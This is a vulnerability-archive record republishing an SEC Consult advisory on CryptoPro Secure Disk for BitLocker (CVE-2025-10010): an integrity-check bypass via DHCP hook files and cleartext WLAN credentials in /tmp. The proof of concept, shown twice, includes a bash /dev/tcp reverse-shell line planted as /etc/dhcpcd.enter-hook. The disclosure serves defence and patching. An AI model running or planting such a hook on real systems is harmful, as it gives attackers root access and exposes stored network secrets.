GCVE-1988-2026-0214

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 13:40
VLAI
Title
SEC Consult SA-20260224-0 :: Multiple vulnerabilities in CPSD CryptoPro Secure Disk for BitLocker (CVE-2025-10010)
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260224-0 > ======================================================================= title: Multiple vulnerabilities             product: CPSD CryptoPro Secure Disk for BitLocker  vulnerable version: 7.6.4.16432 (76212) fixed version: 7.6.6 / 7.7.1 CVE number: CVE-2025-10010              impact: high            homepage:https://www.cpsd.at               found: 2025-04-14 by: Gorazd Jank (Office Vienna) Stefan Viehböck SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- (German) "Das Team von CPSD entwickelt hochwertige Verschlüsselungslösungen für sicherheitsbewusste Unternehmen. Seit über 15 Jahren stehen die CryptoPro Produkte für beste Kundenzufriedenheit durch einen ausgewogenen Mix aus Sicherheit, Benutzerkomfort und minimale Verwaltung. Ihre Sicherheitsanforderungen sind bei unseren Experten in besten Händen. Die Erfahrung aus zahlreichen Kryptographie-Projekten teilen wir gerne und empfehlen die optimale Verschlüsselungsstrategie. Lassen Sie sich von den Vorteilen inspirieren!" Source:https://www.cpsd.at/ Business recommendation: ------------------------ The vendor provides patches (7.6.6/7.7.1) for the affected software which should be installed immediately if the devices are not already patched. In cases where patching is not feasible it is possible to encrypt the PBA partition to prevent changes. For detailed information see chapter Workaround below. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Integrity Validation Bypass (CVE-2025-10010) The CryptoPro Secure Disk application boots a small Linux operating system to perform user authentication before using BitLocker to decrypt the Windows partition. The system is located on a separate unencrypted partition which can be reached by anyone with access to the hard disk. Multiple checks are performed to validate the integrity of the Linux operating system and the CryptoPro Secure Disk application files. When files are changed an error is shown on system start. One of the checks is the Linux kernel's Integrity Measurement Architecture (IMA). It was identified that configuration files are not validated by the IMA and can then (if not checked by other measures) be changed. This allows an attacker to execute arbitrary code in the context of the root user and enables an attacker to e.g., plant a backdoor and access data during execution. 2) Cleartext storage of sensitive data CryptoPro Secure Disk allows users who have forgotten their credentials to contact offline as well as online support. The online version needs to establish a connection to the support server. For this purpose, it may connect to a predefined LAN or WLAN. If secrets (e.g., certificates, passwords, etc.) are needed to access these networks the corresponding configurations and files are stored in the /tmp folder in clear text. An attacker with access to the Linux operating system can read the secrets and use them to potentially connect to an internal network. Proof of concept: ----------------- 1) Integrity Validation Bypass (CVE-2025-10010) An attacker can access the unencrypted partition on the hard disk by either booting from an external medium (e.g., USB) or by removing the hard disk and mounting it to another system. No authentication is needed. To bypass the IMA and get arbitrary code execution an editable configuration file is needed which supports the execution of code and will be executed by the system. A service meeting these preconditions is the Dynamic Host Configuration Protocol Daemon (dhcpd). It supports Enter- and Exit-Hooks, which are basically bash scripts which are executed when the dhcpd service is started or respectively exited. They are being called after the initiation of the Linux operating system. The vulnerability can be exploited by setting up a DHCP Enter-Hook with a reverse shell. This can be done by generating the file /etc/dhcpcd.enter-hook with following content: ------------------------------------------------------------------------------ #!/bin/bash bash -c 'exec bash -i &>/dev/tcp/192.168.XXX.XXX/9999 <&1' & ------------------------------------------------------------------------------ The host and the receiver of the reverse shell must be connected to each other e.g., using a router. After the restart of the host machine a connection is opened to the attacker's host resulting in a reverse shell with root privileges. 2) Cleartext storage of sensitive data To exploit this vulnerability, access to the running CryptoPro Secure system is needed e.g., through a reverse shell. When the online support is used, the credentials for the network are stored in clear text in the /tmp folder. Accessing it after the start of the application – without user interaction - is sufficient to access this information. The figure below shows certificates as well as configuration containing clear text credentials for the certificates. It contains the user certificate (host.pem) and user private key (priv.pem) including the clear text password, which can be found inside of the "wlan_supplicant_conf.wlan0" file. There is also a tls_certs.pfx file with clear text password without known usage. This would allow an attacker to access a user WLAN and / or bypass 802.1x protection. <issue2_poc_cleartext_storage_01.png> Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * 7.6.4.16432 (76212) Vendor contact timeline: ------------------------ 2025-06-04: Contacting vendor throughsupport () cpsd at 2025-06-04: Quick vendor response with request for information. 2025-06-10: Submission of advisory via secure platform. 2025-06-24: Response from vendor with workaround. Vendor-Clients will be informed and final fix will be released with version 7.6.6 / 7.7.1. 2025-06-27: Following up regarding the proposed fixed by the vendor regarding checksums. 2025-07-25: Information to vendor about start of advisory publication, sending current advisory draft to vendor. 2025-08-05: Vendor proposes adding the workaround to the business recommendation section. 2025-09-06: Asking the vendor when the patches have been provided to the customers. 2025-09-08: Reserving CVE-2025-10010. Vendor is still clarifying status with customers, requests delay of publication for a few months. Patch information was provided to customers on 12th August. 2026-02-19: Informing vendor about upcoming advisory release. 2026-02-24: Public release of security advisory. Solution: --------- The vendor provides a patch with version 7.6.6 / 7.7.1. Encryption is activated by default starting with version 7.7. Workaround: ----------- Encryption of the PBA partition is possible (since version 7.6.0) and prevents changing of the files as described in the advisory. Encryption can be activated via "Client Security/Verschiedenes/PBA Linux Partition verschlüsseln". Clients will be informed by the vendor about the risk if the PBA partition is not encrypted. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your applicationhttps://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local officeshttps://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web:https://www.sec-consult.com Blog:https://blog.sec-consult.com X:https://x.com/sec_consult EOF Gorazd Jank / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
References
Impacted products
Vendor Product Version CPE status
Cpsd SEC Consult SA-20260224-0 Affected: unknown
guessed Create a notification for this product.
Credits
SEC Consult Vulnerability Lab via Fulldisclosure
Relationships
analysis GCVE-1988-2026-0214 (this record)
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260224-0",
          "vendor": "Cpsd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260224-0 \u003e\n=======================================================================\n              title: Multiple vulnerabilities\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: CPSD CryptoPro Secure Disk for BitLocker\n\u00a0vulnerable version: 7.6.4.16432 (76212)\n      fixed version: 7.6.6 / 7.7.1\n         CVE number: CVE-2025-10010\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0homepage:https://www.cpsd.at\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-04-14\n                 by: Gorazd Jank (Office Vienna)\n                     Stefan Viehb\u00f6ck\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n(German)\n\"Das Team von CPSD entwickelt hochwertige Verschl\u00fcsselungsl\u00f6sungen f\u00fcr\nsicherheitsbewusste Unternehmen. Seit \u00fcber 15 Jahren stehen die CryptoPro\nProdukte f\u00fcr beste Kundenzufriedenheit durch einen ausgewogenen Mix aus\nSicherheit, Benutzerkomfort und minimale Verwaltung.\n\nIhre Sicherheitsanforderungen sind bei unseren Experten in besten H\u00e4nden.\nDie Erfahrung aus zahlreichen Kryptographie-Projekten teilen wir gerne und\nempfehlen die optimale Verschl\u00fcsselungsstrategie. Lassen Sie sich von den\nVorteilen inspirieren!\"\n\nSource:https://www.cpsd.at/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patches (7.6.6/7.7.1) for the affected software which\nshould be installed immediately if the devices are not already patched.\n\nIn cases where patching is not feasible it is possible to encrypt the PBA\npartition to prevent changes. For detailed information see chapter\nWorkaround below.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Integrity Validation Bypass (CVE-2025-10010)\nThe CryptoPro Secure Disk application boots a small Linux operating system\nto perform user authentication before using BitLocker to decrypt the Windows\npartition. The system is located on a separate unencrypted partition which can\nbe reached by anyone with access to the hard disk.\n\nMultiple checks are performed to validate the integrity of the Linux operating\nsystem and the CryptoPro Secure Disk application files. When files are changed\nan error is shown on system start. One of the checks is the Linux kernel\u0027s\nIntegrity Measurement Architecture (IMA). It was identified that configuration\nfiles are not validated by the IMA and can then (if not checked by other\nmeasures) be changed. This allows an attacker to execute arbitrary code in the\ncontext of the root user and enables an attacker to e.g., plant a backdoor\nand access data during execution.\n\n2) Cleartext storage of sensitive data\nCryptoPro Secure Disk allows users who have forgotten their credentials to\ncontact offline as well as online support. The online version needs to\nestablish a connection to the support server. For this purpose, it may connect\nto a predefined LAN or WLAN.\n\nIf secrets (e.g., certificates, passwords, etc.) are needed to access these\nnetworks the corresponding configurations and files are stored in the /tmp\nfolder in clear text. An attacker with access to the Linux operating system can\nread the secrets and use them to potentially connect to an internal network.\n\n\nProof of concept:\n-----------------\n1) Integrity Validation Bypass (CVE-2025-10010)\nAn attacker can access the unencrypted partition on the hard disk by either\nbooting from an external medium (e.g., USB) or by removing the hard disk and\nmounting it to another system. No authentication is needed.\n\nTo bypass the IMA and get arbitrary code execution an editable configuration\nfile is needed which supports the execution of code and will be executed by\nthe system. A service meeting these preconditions is the Dynamic Host\nConfiguration Protocol Daemon (dhcpd). It supports Enter- and Exit-Hooks,\nwhich are basically bash scripts which are executed when the dhcpd service is\nstarted or respectively exited. They are being called after the initiation of\nthe Linux operating system.\n\nThe vulnerability can be exploited by setting up a DHCP Enter-Hook with a reverse\nshell. This can be done by generating the file /etc/dhcpcd.enter-hook with\nfollowing content:\n\n------------------------------------------------------------------------------\n#!/bin/bash\n\nbash -c \u0027exec bash -i \u0026\u003e/dev/tcp/192.168.XXX.XXX/9999 \u003c\u00261\u0027 \u0026\n------------------------------------------------------------------------------\n\nThe host and the receiver of the reverse shell must be connected to each other\ne.g., using a router. After the restart of the host machine a connection is\nopened to the attacker\u0027s host resulting in a reverse shell with root\nprivileges.\n\n\n2) Cleartext storage of sensitive data\nTo exploit this vulnerability, access to the running CryptoPro Secure system is\nneeded e.g., through a reverse shell. When the online support is used, the\ncredentials for the network are stored in clear text in the /tmp folder.\nAccessing it after the start of the application \u2013 without user interaction -\nis sufficient to access this information.\n\nThe figure below shows certificates as well as configuration containing clear\ntext credentials for the certificates. It contains the user certificate\n(host.pem) and user private key (priv.pem) including the clear text password,\nwhich can be found inside of the \"wlan_supplicant_conf.wlan0\" file.\nThere is also a tls_certs.pfx file with clear text password without\nknown usage. This would allow an attacker to access a user WLAN and / or\nbypass 802.1x protection.\n\n\u003cissue2_poc_cleartext_storage_01.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 7.6.4.16432 (76212)\n\n\nVendor contact timeline:\n------------------------\n2025-06-04: Contacting vendor throughsupport () cpsd at\n2025-06-04: Quick vendor response with request for information.\n2025-06-10: Submission of advisory via secure platform.\n2025-06-24: Response from vendor with workaround. Vendor-Clients will be informed\n            and final fix will be released with version 7.6.6 / 7.7.1.\n2025-06-27: Following up regarding the proposed fixed by the vendor regarding\n            checksums.\n2025-07-25: Information to vendor about start of advisory publication, sending\n            current advisory draft to vendor.\n2025-08-05: Vendor proposes adding the workaround to the business recommendation\n            section.\n2025-09-06: Asking the vendor when the patches have been provided to the customers.\n2025-09-08: Reserving CVE-2025-10010. Vendor is still clarifying status with\n            customers, requests delay of publication for a few months.\n            Patch information was provided to customers on 12th August.\n2026-02-19: Informing vendor about upcoming advisory release.\n2026-02-24: Public release of security advisory.\n\n\nSolution:\n---------\nThe vendor provides a patch with version 7.6.6 / 7.7.1.\nEncryption is activated by default starting with version 7.7.\n\n\nWorkaround:\n-----------\nEncryption of the PBA partition is possible (since version 7.6.0) and\nprevents changing of the files as described in the advisory. Encryption\ncan be activated via \"Client Security/Verschiedenes/PBA Linux Partition\nverschl\u00fcsseln\". Clients will be informed by the vendor about the risk if\nthe PBA partition is not encrypted.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Gorazd Jank / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:40:14Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/0"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cpsd.at"
        },
        {
          "url": "https://www.cpsd.at/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260224-0 :: Multiple vulnerabilities in CPSD CryptoPro Secure Disk for BitLocker (CVE-2025-10010)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-10010",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0214",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/0",
            "automated": true,
            "contentSha256": "06646923265364884f23de6061a208ca5336a6ce6df0f164adc106a752bb17e1",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-24T13:56:42Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0214"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-09T13:40:14Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0214"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.